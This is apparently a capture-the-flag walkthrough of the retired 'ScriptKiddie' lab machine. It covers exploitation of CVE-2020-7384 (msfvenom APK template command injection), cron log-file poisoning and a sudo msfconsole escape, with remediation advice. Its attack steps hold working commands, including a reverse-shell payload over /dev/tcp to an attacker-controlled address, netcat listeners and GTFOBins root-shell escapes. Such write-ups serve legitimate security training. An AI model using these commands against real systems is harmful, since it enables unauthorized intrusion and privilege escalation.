ScriptKiddie
Summary
I discovered a Python web application on a non-standard port that wraps Metasploit's payload generator without sanitising user-supplied filenames. By uploading a specially crafted Android APK, I injected an OS command into the application's msfvenom invocation (CVE-2020-7384), gaining a shell as the low-privilege user 'kid'.
From there, a cron job belonging to a second local user ('pwn') periodically processed a log file that 'kid' could freely overwrite; by poisoning that file with an injected shell command, I pivoted to 'pwn'. Finally, 'pwn' held unrestricted, passwordless sudo rights over msfconsole, which exposes a built-in Ruby interpreter I used to spawn an interactive root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
Full TCP sweep; discovers port 5000 in addition to port 22.
$ nmap -Pn -sV -p- --min-rate 2000 -T4 $TARGETFingerprint the web application and identify the msfvenom payload-generator form.
$ curl -s -i http://$TARGET:5000/Exact commands 1
Confirms a public exploit exists for CVE-2020-7384 (Metasploit module path shown in results).
$ searchsploit msfvenom apk templateFixRemove or harden the unauthenticated msfvenom web wrapperCritical
Exact commands 2
Generates the malicious APK at /tmp/msf.apk on my machine.
$ msfconsole -q -x "use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection; set payload cmd/unix/reverse_bash; set LHOST $ATTACKER_IP; set LPORT 4444; set FILENAME /tmp/msf.apk; run; exit"Start the reverse shell listener on $ATTACKER_IP before uploading.
$ nc -lvnp 4444Exact commands 2
Triggers msfvenom on the malicious APK; the reverse shell connects back to the listener on port 4444.
$ curl -sS --max-time 20 -X POST http://$TARGET:5000/ -F 'action=generate' -F 'os=android' -F "lhost=$ATTACKER_IP" -F 'template=@/tmp/msf.apk;filename=msf.apk'Confirm execution context in the received shell — expect uid=1000(kid) gid=1000(kid).
$ id; whoami; hostname; pwdExact commands 3
Verify 'kid' has write permission on the hackers log file.
$ ls -la /home/kid/logs/hackersRead the cron script — confirm it passes log file entries unsanitised to the shell (e.g., nmap -a $ip).
$ cat /home/pwn/recon.shConfirm the schedule on which recon.sh fires (typically every minute).
$ crontab -l; cat /etc/crontab; ls /etc/cron.d/FixFix the cron job to prevent command injection through a user-writable log fileHigh
Exact commands 2
Run from the 'kid' shell. Two dummy fields satisfy the 'cut -d\' \' -f3-' in recon.sh; the semicolon injects the reverse shell payload.
$ echo 'xxx xxx '"$ATTACKER_IP"'; bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4445 0>&1" #' >> /home/kid/logs/hackersSecond listener on my machine — wait up to ~60 seconds for the cron job to fire and deliver a shell as 'pwn'.
$ nc -lvnp 4445Exact commands 4
From the 'pwn' shell — confirm rule such as: (root) NOPASSWD: /opt/metasploit-framework/bin/msfconsole.
$ sudo -lLaunches msfconsole as root and drops directly into an IRB Ruby interpreter.
$ sudo msfconsole -q -x 'irb'Typed inside IRB — spawns an interactive bash shell running as root (uid=0).
$ system("/bin/bash")Confirm root access and capture the root flag (value: <root.txt>).
$ id; cat /root/root.txtFixRemove unrestricted sudo rights to msfconsole and interpreter-class binariesCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 5000/tcp | http Werkzeug httpd 0.16.1 (Python 3.8.5) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.